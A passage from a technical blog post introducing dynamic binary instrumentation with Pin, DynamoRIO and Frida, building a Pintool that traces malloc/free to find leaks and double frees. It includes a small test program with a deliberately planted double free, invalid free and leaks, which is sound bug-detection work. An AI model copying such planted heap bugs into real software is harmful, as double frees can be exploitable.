analysis. And thatâs what Iâll try to show in this post, by sharing some code I wrote while playing with some DBI frameworks. There are many reasons for us to observe and modify the runtime behavior of a computer program. Software and/or hardware developers, system engineers, bug hunters, malware analysts, end users, and so on. All of them will have their own reasons. DBI frameworks provide access to every executed user-level instruction. Besides a potentially small runtime and memory overhead, the program will run identically to a native execution. You can say that the main advantage of static analysis is that it ensures 100% code coverage. With dynamic analysis, to ensure a high code coverage weâll need to run the program many times, and with different inputs so the analysis takes different code paths. However, in some cases, the software applications are so big thatâs too costly to perform static analysis. I would say, one complements the other. Even though static analysis is very boring, and dynamic analysis is (very) fun. As I mentioned before, DBI frameworks operate directly in binaries/executables. We donât need the source code of the program. We donât need to (re)compile or (re)link the program. Obviously, this is an major advantage, as it allows us to analyze proprietary software. A dynamic binary system operates at the same time as the âguestâ program executes while performing all the requested/required modifications on the fly. This dynamic approach can also handle programs that generate code dynamically (even though it imposes a big engineering challenge), that is, self-modifying code. If you âgoogleâ a bit youâll actually find multiple cases where DBI frameworks are/were used to analyze malware with self-modifying code. As an example, check this presentation from last yearâs blackhat Europe. Or, this post about how to unpack Skype with Pin. DBI frameworks are daily used to solve computer architecture problems, being heavily used in software engineering, program analysis, and computer security. Software engineers want to deeply understand the software they develop, analyze its performance, and runtime behavior in a systematic manner. One common use of DBI frameworks is emulating new CPU instructions. Since the dynamic binary system has access to every instruction before executing it, hardware engineers can actually use these systems to test new instructions that are currently unsupported by the hardware. Instead of executing a specific instruction, they can emulate the new instruction behavior. The same approach can be used to replace faulty instructions with the correct emulation of the desired behavior. Anyway, from a computer security perspective, a DBI system can be used for flow analysis, taint analysis, fuzzing, code coverage, test cases generation, reverse engineering, debugging, vulnerability detection, and even crazy things like patching of vulnerabilities, and automated exploit development. There are two main ways of using a dynamic binary system. The first, and eventually most common, in computer security at least, is executing a program from start to finish under the control of the dynamic binary system. We use it when we want to achieve full system simulation/emulation because full control and code coverage are desired. The second, we may just want to attach to an already running program (exactly in the same way a debugger can be attached, or detached, from a running program). This option might be useful if we are interested in figuring out what a program is doing in a specific moment. Besides, most of the DBI frameworks have three modes of execution. Interpretation mode, probe mode, and JIT mode. The JIT (just-in-time) mode is the most common implementation, and most commonly used mode even when the DBI system supports more than one mode of execution. In JIT mode the original binary/executable is actually never modified or executed. The binary is seen as data, and a modified copy of the binary is generated in a new memory area (but only for the executed parts of the binary, not the whole binary). Is this modified copy thatâs then executed. In interpretation mode, the binary is also seen as data, and each instruction is used as a lookup table of alternative instructions that have the corresponding functionality (as implemented by the user). In probe mode, the binary is actually modified by overwriting instructions with new instructions. even though this results in a low run-time overhead itâs very limited in certain architectures (like x86). Whatever the execution mode, once we have control over the execution of a program, through a DBI framework, we then have the ability to add instrumentation into the executing program. We can insert our code, instrumentation, before and after blocks of code, or even replace them completely. We can visualize how it works in the diagram below. Also, there are different types of granularity. Instruction level Basic block level Function level The granularity choice, as you can guess, will allow you to have more, or less, control over the execution of a program. Obviously, this will have an impact on performance. Also, note that instrumenting a program in its totality is unpractical in most cases. Performance You might be thinking whatâs the performance impact of modifying a running program on the fly as described above. Well, I have a very limited experience to answer this question. However, after reading multiple papers, articles, and presentations, the overhead commonly observed depends on a random number of factors really. Anyway, as kind of expected, the modifications the user implements are responsible for the majority of the overhead. The number 30% is apparently accepted as a common average number observed. Canât really remember where I read this to mention the source, but I definitely read it somewhere. Youâll find it for sure in the References section anyway. Obviously, one of the first decisions that you, as a DBI user, will have to make is to decide the amount of code coverage required by your needs and the amount of performance overhead youâll be able to accept as reasonable. Pin Pin is a DBI framework developed by Intel Corp. It allows us to build program analysis tools known as Pintools, for Windows, Linux, and OSX. We can use these tools to monitor, modify, and record the behavior of a program while it is running. Pin is proprietary software. However, we can download and use it free of charge for non-commercial use. Besides the documentation and the binaries, Pin also includes source code for a large collection of sample Pintools. These are invaluable examples that we must consider, and definitely read, before developing any Pintool. In my opinion, Pin is the easiest DBI framework to use. At least I felt it was easier to dive into itâs API than into the DynamoRIO one. Even though I didnât spend too much time trying to learn other APIs besides these two, I had a look at a few others. Like Valgrind, Triton, Dyninst, and Frida. The choice will always depend on what you intend to do, honestly. If you want to create a commercial tool and distribute binary versions of it, Pin wonât be a good choice. If thatâs not the case, Pin might be a very good choice. Mainly because based on the tests I did, Pin is stable and reliable. I had some issues running some programs under some DBI frameworks. Mainly big programs, like Office suites, games, and AV engines. Some DBI frameworks were failing miserably, some even with small applications. Pin setup (Windows) Pin setup in Linux is quite straightforward. However, on Windows systems, it can be a bit tricky. See below how to quickly set it up to get started in case you want to try the samples Iâll present in this post. Get the latest Pin version from here, and unpack it on your C:\ drive, or wherever you want. For simplicity, I usually use C:\pin. I advise you to do the same if you plan to follow some of the experiments presented in this post. The Pin zip file includes a big collection of sample Pintools under source/tools. The API is very easy to read and understand as weâll see. By the end of this post you should be able to read the source code of most of the samples without any struggle (well, kind of). I like Visual Studio, and Iâll be using it to build âeveryâ tool mentioned in this post. Thereâs one Pintool sample thatâs almost ready to be built with Visual Studio. Youâll have to adjust only a couple of settings. However, I didnât want to manually copy and rename files every time I wanted to create a new Pintool project. So I created a sample project already tweaked, available here that you can place under C:\pin\source\tools, together with the following python script. The script was inspired by Peterâs script. However, since the way newer versions of Visual Studio save the settings has changed I had to re-write/create a completely new script. So, every time you want to build a new Pintool with Visual Studio, just do: cd\ cd pin python create_pintool_project.py -p <name_of_your_project> You can then just click the projectâs solution file and build your Pintool with Visual Studio without any pain. I used Visual Studio Professional 2015, but it will also work with Visual Studio 2017. I did a couple of builds with Visual Studio 2017 Enterprise without any issue. Pin Visual Studio integration We can add our Pintools as external tools to Visual Studio. This will allow us to run, and test, our Pintool without using the command line all the time. The configuration is very simple. From the Tools menu, select External tools and a dialog box will appear. Click the Add button and fill out the text input boxes according to the image below. In the Title, input text box enter whatever you want. In the Command input text box enter the full path to your pin.exe, so c:\pin\pin.exe in case you installed it under c:\pin. In the Arguments, you must include all the arguments you want to pass to your Pintool. Youâll need at least the ones specified in the image above. The -t is to specify where your Pintool is, and after the -- is the target program you want to instrument. After the setup, you can simply run your Pintool from the Tools menu as shown in the image below. Click ok, and enjoy. The Output window of Visual Studio will show whatever the output your Pintool is writing to stdout. DynamoRIO DynamoRIO is another DBI framework originally developed in a collaboration between HPâs Dynamo optimization system and the Runtime Introspection and Optimization (RIO) research group at MIT. It allows us to build program analysis tools known as clients, for Windows, and Linux. We can use these tools to monitor, modify, and record the behavior of a program while it is running. DynamoRIO was first released as a proprietary binary toolkit in 2002 and was later open-sourced with a BSD license in 2009. Like Pin, it also comes with source code for multiple client samples. These are invaluable examples to get us started and playing with its API. DynamoRIO is a runtime code manipulation system which allows code transformation on any part of the program as the program runs. It works as an intermediate platform between applications and operating system. As I said before, I didnât find DynamoRIOâs API the most friendly and easy to use. However, if you plan to make a commercial version, and/or distribute binary versions, DynamoRIO might be the best option. One of its advantages is the fact that it is BSD licensed, which means free software. If thatâs important for you, go with DynamoRIO. Also note thatâs commonly accepted that DynamoRIO is faster than Pin, check the References section. However, is equally accepted that Pin is more reliable than DynamoRIO, which I also personally experienced when running big software programs. DynamoRIO setup (Windows) To install DynamoRIO on Windows simply download the latest Windows version from here (DynamoRIO-Windows-7.0.0-RC1.zip at the time of this writing), and similarly to what we did with Pin just unzip it under C:\dynamorio. To build your own DynamoRIO projects on Windows it can be a bit tricky though. You can try to follow the instructions here or the instructions here or, to avoid frustration, just⊠use my DynamoRIO Visual Studio template project. As I said before, I like Visual Studio. I created a sample project already tweaked with all the includes and libs required (assuming you unzipped DynamoRIO in the directory I mentioned before), available here. Then, more or less the same way we did with Pin, also download the following python script. Since the file structure of the project is a bit different I couldnât use the script I wrote before to clone a project, and I had to create a new one specific to DynamoRIO. So, every time you want to build a new DynamoRIO client with Visual Studio, just do: python create_dynamorio_project.py -p <name_of_your_project> The command above assumes that both the Python script and the template project mentioned above are in the same folder. You can then just click the projectâs solution file and build your DynamoRIO client with Visual Studio without any pain. I used Visual Studio Professional 2015, but it will also work with Visual Studio 2017. I did a couple of builds with Visual Studio 2017 Enterprise without any issue. DynamoRIO Visual Studio integration We can also integrate DynamoRIO with Visual Studio, exactly the same way we did with Pin. Since the setup process is exactly the same, Iâll only leave here the screenshot below and you can figure how to do the rest. Frida Frida is a DBI framework developed mainly by Ole. It became very popular among the âmobileâ community and gained a considerable group of contributors (now sponsored by NowSecure). Frida supports OSX, Windows, Linux, and QNX, and has an API available for multiple languages, like Python, C#, Swift, Qt\QML and C. Just like the DBI frameworks mentioned above, we can use Frida together with scripts to monitor, modify, and record the behavior of a program while it is running. Frida is free (free as in free beer) and is very easy to install (see below). There are also many usage examples online that we can use to get started. Frida injects Googleâs V8 engine into a process. Then, Frida core communicates with Fridaâs agent (process side) and uses the V8 engine to run the JavaScript code (creating dynamic hooks). Fridaâs API has two main parts. The JavaScript API and the bindings API. I didnât dive too deep into them and just used the most popular I believe. That is the JavaScript API. I found it easy to use, very flexible, and I could use it to quickly write some introspection tools. Even though Pin and DynamoRIO are the âmainâ DBI frameworks, and most mature, Frida has some advantages. As mentioned above, it has bindings for other/more languages, and rapid tool development is a reality. It also has some disadvantages, less maturity, less documentation, less granularity than other frameworks, and consequently lack of some functionalities. Frida setup (Windows) Fridaâs setup is very easy. Just download https://bootstrap.pypa.io/get-pip.py and then run: python get-pip.py And, to actually install Frida type the following. cd\ cd Python27\Scripts pip.exe install frida And thatâs it, you are ready to go. Yes, you have to install Python before the steps above. However, I donât know anyone that doesnât have Python installed so I just assume itâs already there. Generic DBI usage Before diving into some code, Iâll try to document in this section generic ways of using some of the DBI frameworks I mentioned before. More precisely Pin, and DynamoRIO. As mentioned before, the most common execution mode in a DBI system is the JIT (just-in-time-compiler). The JIT compiler will create a modified copy of chunks of instructions just before executing them, and these will be cached in memory. This mode of execution is the default in most of the DBI frameworks I had a look and is also generally accepted as the most robust execution model. Also, as mentioned before, there are two main methods to control the execution of a program. The first is to run the entire program under the control of the DBI framework. The second is to attach to a program already running. Just like a debugger. Below is the standard way to run a program under the control of a DBI system. Our target/guest application is not directly launched from the command line. Instead, it is passed as an argument to the DBI system. The DBI system initializes itself, and then launches the program under its control and modifies the program according to the plug-in. The plug-in contains the actual user-defined code, that is our instrumentation code. The plug-in on Pin itâs called Pintool, on DynamoRIO itâs called client, on Frida I believe itâs simply called script? PIN JIT mode. pin.exe <pin args> -t <pintool>.dll <pintool args> -- target_program.exe <target_program args> PIN Probe mode. pin.exe -probe <pin args> -t <pintool>.dll <pintool args> -- target_program.exe <target_program args> DynamoRIO JIT mode. drrun.exe -client <dynamorio client>.dll 0 "" target_program.exe <target_program args> DynamoRIO Probe mode. drrun.exe -mode probe -client <dynamorio client>.dll 0 "" target_program.exe <target_program args> As we can see above, the way we launch Pin and DynamoRIO it is not that different. In Linux systems, itâs pretty much the same (yes, remove the .exe, and substitute the .dll by .so and thatâs it). Obviously, there are many other options that can be passed on the command line besides the ones shown above. For a full list check the help/man pages. Above are just the required options for reference. Frida is a bit different, and weâll see ahead how to use it. If you want to attach to a running process, you can do it with Pin. However, as of today, attaching to a process with DynamoRIO is not supported. However, there are two methods of running a process under DynamoRIO in Windows. You can read more about it here. With Pin you can simply attach to a process by using the -pid argument as shown below. pin.exe -pid <target pid> <other pin args> -t <pintool>.dll <pintool args> User defined modifications Despite the DBI we are using, each DBI framework provides an API that we can use to specify how we modify the target/guest program. The abstraction introduced by the API is used together with code usually written in C, or C++ (or even JavaScript, or Swift in the case of Frida) to create a plug-in (in the form of a shared library as we saw above) which will then be âinjectedâ in the running target/guest program by the DBI system. It will run on the same address space of the target/guest program. This means that in order for us to use a DBI system, we need not only to know how to launch a target/guest program, as illustrated above but also be familiar and understand the API exported by the framework we want to use. Unfortunately, the APIs of these multiple frameworks are very different. However, as will see the general concepts apply to most of them. As I mentioned before, Iâll be focusing mainly in Pin. Iâll also try to recreate more or less the same functionality with DynamoRIO and Frida, so we will also get a bit familiar with their API somehow. Note that the API coverage wonât be by any means extensive. I advise you to check each DBI framework API documentation if you want to know more. By following this post youâll simply get a sense of whatâs available in the API, eventually limited to the use case scenario I chose. The idea behind any API is to hide the complexity of certain operations from the user, without removing any power to perform any task (including complex tasks). We can usually say that the easier is to use the API the better it is. All the APIs allow us to, in a certain way, iterate over the instructions the DBI system is about to run. This allows us to add, remove, modify, or observe the instructions prior to execute them. For example, my initial idea was to simply log (observe) all the calls to memory related functions (malloc, and free). We can, not only introduce instructions to get profiling/tracing information about a program but also introduce complex changes to the point of completely replace certain instructions with a completely new implementation. Think for example, as replacing all the malloc calls with your own malloc implementation (that, for example, introduces shadow bytes and so on). In DynamoRIO itâs slightly different. However, in Pin most of the API routines are call based. This makes the API very user-friendly. At least to the way I think when I visualize the usage of a DBI system. This is also possible with DynamoRIO, obviously, as we will see. Basically, we register a callback to be notified when certain events occur (a call to malloc). For performance reasons, Pin inlines these callbacks. As we saw, most of the DBI frameworks support multiple operating systems, and platforms. Most of the time, the APIs are the same and all the differences between operating systems are kept away from the user and handled âunder the tableâ. However, there are still certain APIs that are specific to certain operating systems. You need to be aware of that. Itâs also important to distinguish between instrumentation and analysis code. Instrumentation code is applied to specific code locations, while analysis code is applied to events that occur at some point in the execution of the program. As stated on Wikipedia Instrumentation routines are called when code that has not yet been recompiled is about to be run, and enable the insertion of analysis routines. Analysis routines are called when the code associated with them is run. In other words, instrumentation routines define where to insert instrumentation. Analysis routines define what to do when the instrumentation is activated. The APIs of Pin, DynamoRIO, and Frida allow us to iterate over the target/guest program with a distinct level of granularities. That is, iterate over every single instruction, just before an instruction execute, entire basic blocks, traces (multiple basic blocks), or the entire target/guest program (image). Example tool As I mentioned, while I was playing with Heap Spraying I felt the need of logging all the memory allocations my code was performing. Since I felt a bit annoyed after doing this repeatedly with WinDbg, even with some automation, I thought about doing it with a DBI framework. More precisely, with Pin. I remember that during one of Peter Van Eeckhoutteâs exploitation classes he mentioned he had written something similar. I looked at his GitHub and found his Pintool. I had a look at his code, but since he used Visual Studio 2012, plus an old version of Pin, plus a different approach of what I had in mind, plus a different goal (I had in mind doing something else besides logging memory allocations), and things changed a bit since then⊠I decided to write my own Pintool instead of using, or modifying, his code. After all, itâs all about struggling and learning. Not running tools. Later I realized that most of his code comes from the Pin documentation, so does mine. The goal was to write a Pintool, or a DynamoRIO client, and use it to detect critical memory issues. Such as memory leaks and double frees. Yes, in C/C++ programs. You may say that there are plenty of tools that already allow you to do that, and thatâs eventually true (in fact DynamoRIO comes with a couple of tools that can help here). The point here was to learn how to write my own tool, have fun, get familiar with DBI frameworks, and document my experiments for later reference. Eventually, it will also be used as a soft introduction to Dynamic Binary Analysis by people who donât know where to start. So, the âcritical memory issuesâ I had in mind werenât really that difficult to trace. After looking at some almost ready to go code samples, I found in the Pinâs documentation, I ended up expanding a bit the initial logging goal I had in mind. And added a couple of âfeaturesâ to aid my vulnerability discover capabilities. As you know, some common memory (de)allocation problems in C/C++ programs are: Memory leaks Double frees Invalid frees Use after frees. Note, Iâm not detecting these at the moment. Itâs tricky, even if it looks easy at first. Iâll add this feature at some point but it requires a bit more of engineering and testing. I assume everyone knows what the problems listed above are. If you donât, or you need a ârefreshâ, just click the links above. At least the first 3 problems are very âeasyâ to detect with a Pintool, or a DynamoRIO client. Iâll do a couple of assumptions. The target program is a single binary/executable file, and the only functions that Iâll track to allocate and free memory are malloc and free (calloc, and realloc are just âspecialâ versions of malloc anyway). Internally new and delete use malloc and free, so we are covered. I can simply âmonitorâ these calls. I wonât consider other functions like realloc, calloc, HeapAlloc, HeapFree, etc. (for now). Yes, for now, Iâll focus only on the generic malloc and free functions from the C Run-Time Library. In Windows, these functions when called will then call HeapAlloc and HeapFree. Hereâs a diagram showing the relationship of Windows API calls used to allocate process memory (from the book The Art of Memory Forensics, and used with authorization. Thanks to Andrew Case). As we can see above, ideally we should actually be âmonitoringâ RtlAllocateHeap and RtlFreeHeap. However, we can ignore this for now. This way, if you just want to try this code in Linux, or OSX, its mostly copy and paste. Later, in the main version of this tool, Iâll indeed be only working with the Windows Heap functions or my Pintool wonât work with Internet Explorer, for example. Whenever a program calls malloc, Iâll log the return address (that is, the address of the allocated memory region). Whenever a program calls free, Iâll match its address being freed with the addresses I saved before. If it has been allocated and not freed, Iâll mark it as free. If it has been allocated and already freed, then we have a double free. If I donât have that address saved has been allocated before, then we have a free of unallocated memory. Simple, huh? Finally, when the program exits, I can look at my records to detect memory addresses that have been allocated but not freed. This way I can also detect memory leaks. As weâll see, using a dynamic binary framework to achieve whatâs described above can be done with very little effort. However, there are some issues that weâll ignore to keep this post simple. As you can eventually guess, the Heap Manager also plays a role here, and our tool might have to be Heap Manager specific if we donât want to be flooded with false positives. Also, as mentioned before, this tool will tell us thereâs a bug, but not exactly where. You can tell your tool to break/pause when an issue is found and attach a debugger. However, depending on the class of bug it may still be very hard to find whereâs the bug and reproduce it. While I was writing this blog post, a very interesting tool from Joxean Koret called membugtool was released during the EuskalHack 2018 conference. His tool does a bit more than mine (well, actually considerable more), and the code is certainly better than mine. Keep following this post if you want to learn more about Pin and other DBI frameworks, but donât forget to check his tool later. I was actually very happy when I saw it released because it means my idea wasnât a complete nonsense. On top of that Joxean Koret is a respected researcher that Iâve been following for quite a long time, mainly due to his awesome work on breaking Antivirus engines. Target/Guest program (ExercisePin.exe) To test our multiple dynamic binary analysis tools, I wrote the following non-sense program (I called it ExercisePin.exe). Itâs quite clear that there are some memory leaks, an invalid free, and a potential double-free (depending on our input). #include <stdio.h> #include <stdlib.h> void do_nothing() { int *xyz = (int*)malloc(2); } int main(int argc, char* argv[]) { free(NULL); do_nothing(); char *A = (char*)malloc(128 * sizeof(char)); char *B = (char*)malloc(128 * sizeof(char)); char *C = (char*)malloc(128 * sizeof(char)); free(A); free(C); if (argc != 2) do_nothing(); else free(C); puts("done"); return 0; } As you can see itâs a very stupid program, I recommend you to test your tools with real software and see how they behave. Also, check the previously mentioned project membugtool since it includes a very nice set of tests which actually made me lazy and I didnât even try to improve the code above and create new sample buggy programs. Depending on which compiler you use to build this sample, you might have different results. I built mine with Visual Studio. It has advantages, and disadvantages. If you prefer you can use Dev-C++ (which uses GCC), or cygwin (and install gcc or i686-w64-mingw32-gcc.exe), or even Embarcadero. Anyway, expect different results depending on the compiler you choose to build the target program. Basic Pintool (MallocTracer) In this first Pintool example, Iâm logging all the malloc and free calls. The instrumentation is added before and after the malloc call and logs the parameter passed to the call and its return value. For the free call weâll only look at its parameter, and not at its return value. So the instrumentation is only added before the call. This Pintool will not be very useful in big applications since it doesnât really tell you where the issue is. Anyway, it is a good start and will serve the purpose of âshowingâ how the Pin API can be used. We need to start by choosing which instrumentation granularity weâll use. Have a look at the documentation for more details. Iâll be using Image instrumentation. Image instrumentation lets the Pintool inspect and instrument an entire image, IMG, when it is first loaded. A Pintool can walk the sections, SEC, of the image, the routines, RTN, of a section, and the instructions, INS of a routine. Instrumentation can be inserted so that it is executed before or after a routine is executed, or before or after an instruction is executed. Image instrumentation utilizes the IMG_AddInstrumentFunction API call. Image instrumentation depends on symbol information to determine routine boundaries hence PIN_InitSymbols must be called before PIN_Init. We start with some includes. To use the Pin API we need to include pin.h. #include "pin.h" #include <iostream> #include <fstream> #include <map> The iostream header is required for basic input/output operations, and the fstream header is required because Iâll write the output of my Pintool to a file. In small programs, we could live with the console output, however for big programs we need to save the output to a file. If you are instrumenting Internet Explorer for example and playing with some JavaScript code, the amount of malloc and free calls is impressive (well, RtlAllocateHeap, and RtlFreeHeap). In some big programs you might not even want to write to disk every time thereâs a call due to performance reasons, but letâs ignore that to keep things simple. Additionally, Iâll use a map container to keep a log of all the memory allocated and freed. Check the References section to see how the C++ map container âworksâ if you arenât used to writing code in C++. Since Iâm not a developer, Iâm not, so my code can be a bit scary but hopefully works. Consider yourself warned. Iâll also have some global variables. Itâs very common to use global variables in a Pintool, have a look at the samples provided to get a feeling of how they are most commonly used. In my case, Iâll use the following global variables. map<ADDRINT, bool> MallocMap; ofstream LogFile; KNOB<string> LogFileName(KNOB_MODE_WRITEONCE, "pintool", "o", "memprofile.out", "Memory trace file name"); I already mentioned the map container above, again have a look here if you donât know how it works. The idea is to store in this MallocMap the state of each allocation. The ADDRINT type is defined in pin.h, and as you can guess represents a memory address. It will be mapped to a BOOL value. If the BOOL value is set to true it means it has been deallocated. The LogFile is the output file where Iâll save the output of the Pintool. Lastly, the KNOB variable. It is basically a switch supported by our Pintool (a way to get command arguments to our Pintool. This KNOB allows us to specify the name of the log file through the âoâ switch. Its default value is âmemprofile.outâ. If we look at the main function of the code samples, youâll see that they are all very similar. And the one below is no exception. int main(int argc, char *argv[]) { PIN_InitSymbols(); PIN_Init(argc, argv); LogFile.open(LogFileName.Value().c_str()); IMG_AddInstrumentFunction(CustomInstrumentation, NULL); PIN_AddFiniFunction(FinalFunc, NULL); PIN_StartProgram(); return 0; } I have to call PIN_InitSymbols before PIN_Init because Iâm using Image instrumentation, which depends on symbol information. Then I open the log file for writing, and I call IMG_AddInstrumentFunction. The instrumentation function that Iâll be using is called CustomInstrumentation and is defined by me (not a Pin API function). You can call it whatever you want. Then I have to call PIN_AddFiniFunction, which is a call to a function to be executed immediately before the application exits. In this case, my function is FinalFunc. Finally, I call PIN_StartProgram to start executing my program. This function never returns. So letâs have a look at my CustomInstrumentation() function. VOID CustomInstrumentation(IMG img, VOID *v) { for (SYM sym = IMG_RegsymHead(img); SYM_Valid(sym); sym = SYM_Next(sym)) { string undFuncName = PIN_UndecorateSymbolName(SYM_Name(sym), UNDECORATION_NAME_ONLY); if (undFuncName == "malloc") { RTN allocRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(allocRtn)) { RTN_Open(allocRtn); // Record Malloc size RTN_InsertCall(allocRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeMalloc, IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_END); // Record Malloc return address RTN_InsertCall(allocRtn, IPOINT_AFTER, (AFUNPTR)LogAfterMalloc, IARG_FUNCRET_EXITPOINT_VALUE, IARG_END); RTN_Close(allocRtn); } } else if (undFuncName == "free") { RTN freeRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(freeRtn)) { RTN_Open(freeRtn); RTN_InsertCall(freeRtn, IPOINT_BEFORE, (AFUNPTR)LogFree, IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_END); RTN_Close(freeRtn); } } } } We need to âtellâ Pin what are the instrumentation routines, and when to execute them. The instrumentation routine above is called every time an image is loaded, and then we also âtellâ Pin where to insert the analysis routines. Basically, above, when we find a call to malloc or free we insert the analysis routines by using the RTN_InsertCall function. The RTN_InsertCall accepts multiple arguments, a variable number of arguments actually. Three are quite important, and you can easily guess which ones by looking at these calls. The first is the routine we want to instrument. The second is an IPOINT that determines where the analysis call is inserted relative to the instrumented object. And the third is the analysis routine to be inserted. Also, note that all RTN_InsertCall functions must be preceded by a call to RTN_Open and followed by a call to RTN_Close. We can specify a list of arguments to be passed to the analysis routine, and this list must be terminated with IARG_END. As we can also guess by looking at the code, to pass the return value of malloc to the analysis routine we use IARG_FUNCRET_EXITPOINT_VALUE. To pass the argument of the malloc or free calls to the analysis routine, we use IARG_FUNCARG_ENTRYPOINT_VALUE followed by the index of the argument. In our case, both are 0 (first and only argument). All the Pin functions that operate at the routine level start with RTN_. Have a look at the RTN Routine Object documentation here. Also, all the Pin functions that operate at the image level start with IMG_. Have a look at the IMG Image Object documentation here. The same applies to all the Pin functions that operate at the symbol level, they all (or almost all) start with SYM_. Have a look at the SYM Symbol Object documentation here. You might be thinking how Pin finds malloc and free. Pin will use whatever symbol information is available. Debug symbols from the target/guest program if available, PDB files if available, export tables, and dbghelp. There are two possible methods to instrument our functions. We can use RTN_FindByName, or alternatively handling name-mangling and multiple symbols (the method I used) as shown below. for (SYM sym = IMG_RegsymHead(img); SYM_Valid(sym); sym = SYM_Next(sym)) { string undFuncName = PIN_UndecorateSymbolName(SYM_Name(sym), UNDECORATION_NAME_ONLY); if (undFuncName == "malloc") // find the malloc function After we find the calls (malloc and free in our example) we want to instrument, we âtellâ Pin which function must be called every time a malloc call is executed. // Record Malloc size RTN_InsertCall(allocRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeMalloc, IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_END); // Record Malloc return address RTN_InsertCall(allocRtn, IPOINT_AFTER, (AFUNPTR)LogAfterMalloc, IARG_FUNCRET_EXITPOINT_VALUE, IARG_END); If we look at the code above, we have two calls to RTN_InsertCall. In the first, we âtellâ Pin which function must be called before the malloc call. In the second we âtellâ Pin which function must be called after the malloc call. We want to log the allocation sizes and the return value of the malloc call. So, we need both. For the free call, we are only interested in its parameter (the address of the memory to free). RTN_InsertCall(freeRtn, IPOINT_BEFORE, (AFUNPTR)LogFree, IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_END); These three functions are very straightforward. First, before the malloc call we just want to save the size of the memory being allocated. VOID LogBeforeMalloc(ADDRINT size) { LogFile << "[*] malloc(" << dec << size << ")"; } After the malloc call, we just want to save the return address. However, as we can see below, we use the map container and by using an iterator we check if the chunk of memory is being allocated for the first time. If yes, we also log it. VOID LogAfterMalloc(ADDRINT addr) { if (addr == NULL) { cerr << "[-] Error: malloc() return value was NULL. Heap full!?!"; return; } map<ADDRINT, bool>::iterator it = MallocMap.find(addr); if (it != MallocMap.end()) { if (it->second) it->second = false; else cerr << "[-] Error: allocating memory not freed!?!" << endl; } else { MallocMap.insert(pair<ADDRINT, bool>(addr, false)); LogFile << "\t\t= 0x" << hex << addr << endl; } } Finally, when we free a chunk of memory we verify if that address was already freed to detect double frees. Plus, if we donât know the address being freed then we are trying to free memory that wasnât allocated before. Which can lead to undefined behavior? VOID LogFree(ADDRINT addr) { map<ADDRINT, bool>::iterator it = MallocMap.find(addr); if (it != MallocMap.end()) { if (it->second) LogFile << "[*] Memory at address 0x" << hex << addr << " has been freed more than once." << endl; // Double free else { it->second = true; // Mark it as freed LogFile << "[*] free(0x" << hex << addr << ")" << endl; } } else LogFile << "[*] Freeing unallocated memory at address 0x" << hex << addr << "." << endl; // Freeing unallocated memory } Lastly, we have the call to FinalFunc, which is executed just before the program ends. We basically verify if thereâs memory that has been allocated but not freed, and we close our log file. The return of this function marks the end of the instrumentation. VOID FinalFunc(INT32 code, VOID *v) { for (pair<ADDRINT, bool> p : MallocMap) { if (!p.second) LogFile << "[*] Memory at address 0x" << hex << p.first << " allocated but not freed" << endl; } LogFile.close(); } Simple. The whole Pintool code is below. You can also get the whole Visual Studio project from GitHub here. // Built on top of https://software.intel.com/sites/default/files/managed/62/f4/cgo2013.pdf (slide 33) #include "pin.h" #include <iostream> #include <fstream> #include <map> map<ADDRINT, bool> MallocMap; ofstream LogFile; KNOB<string> LogFileName(KNOB_MODE_WRITEONCE, "pintool", "o", "memprofile.out", "Memory trace file name"); VOID LogAfterMalloc(ADDRINT addr) { if (addr == NULL) { cerr << "[-] Error: malloc() return value was NULL. Heap full!?!"; return; } map<ADDRINT, bool>::iterator it = MallocMap.find(addr); if (it != MallocMap.end()) { if (it->second) it->second = false; else cerr << "[-] Error: allocating memory not freed!?!" << endl; } else { MallocMap.insert(pair<ADDRINT, bool>(addr, false)); LogFile << "\t\t= 0x" << hex << addr << endl; } } VOID LogBeforeMalloc(ADDRINT size) { LogFile << "[*] malloc(" << dec << size << ")"; } VOID LogFree(ADDRINT addr) { map<ADDRINT, bool>::iterator it = MallocMap.find(addr); if (it != MallocMap.end()) { if (it->second) LogFile << "[*] Memory at address 0x" << hex << addr << " has been freed more than once." << endl; // Double free else { it->second = true; // Mark it as freed LogFile << "[*] free(0x" << hex << addr << ")" << endl; } } else LogFile << "[*] Freeing unallocated memory at address 0x" << hex << addr << "." << endl; } VOID CustomInstrumentation(IMG img, VOID *v) { for (SYM sym = IMG_RegsymHead(img); SYM_Valid(sym); sym = SYM_Next(sym)) { string undFuncName = PIN_UndecorateSymbolName(SYM_Name(sym), UNDECORATION_NAME_ONLY); if (undFuncName == "malloc") { RTN allocRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(allocRtn)) { RTN_Open(allocRtn); // Record Malloc size RTN_InsertCall(allocRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeMalloc, IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_END); // Record Malloc return address RTN_InsertCall(allocRtn, IPOINT_AFTER, (AFUNPTR)LogAfterMalloc, IARG_FUNCRET_EXITPOINT_VALUE, IARG_END); RTN_Close(allocRtn); } } else if (undFuncName == "free") { RTN freeRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym)); if (RTN_Valid(freeRtn)) { RTN_Open(freeRtn); RTN_InsertCall(freeRtn, IPOINT_BEFORE, (AFUNPTR)LogFree, IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_END); RTN_Close(freeRtn); } } } } VOID FinalFunc(INT32 code, VOID *v) { for (pair<ADDRINT, bool> p : MallocMap) { if (!p.second) LogFile << "[*] Memory at address 0x" << hex << p.first << " allocated but not freed" << endl; } LogFile.close(); } int main(int argc, char *argv[]) { PIN_InitSymbols(); PIN_Init(argc, argv); LogFile.open(LogFileName.Value().c_str()); IMG_AddInstrumentFunction(CustomInstrumentation, NULL); PIN_AddFiniFunction(FinalFunc, NULL); PIN_StartProgram(); return 0; } If you run it against our ExercisePin.exe (see the section Target/Guest Program) binary. C:\pin>pin -t c:\pin\source\tools\MallocTracer\Release\MallocTracer.dll -- ExercisePin.exe done C:\pin>type memprofile.out [*] Freeing unallocated memory at address 0x0. [*] malloc(2) = 0x564f68 [*] malloc(128) = 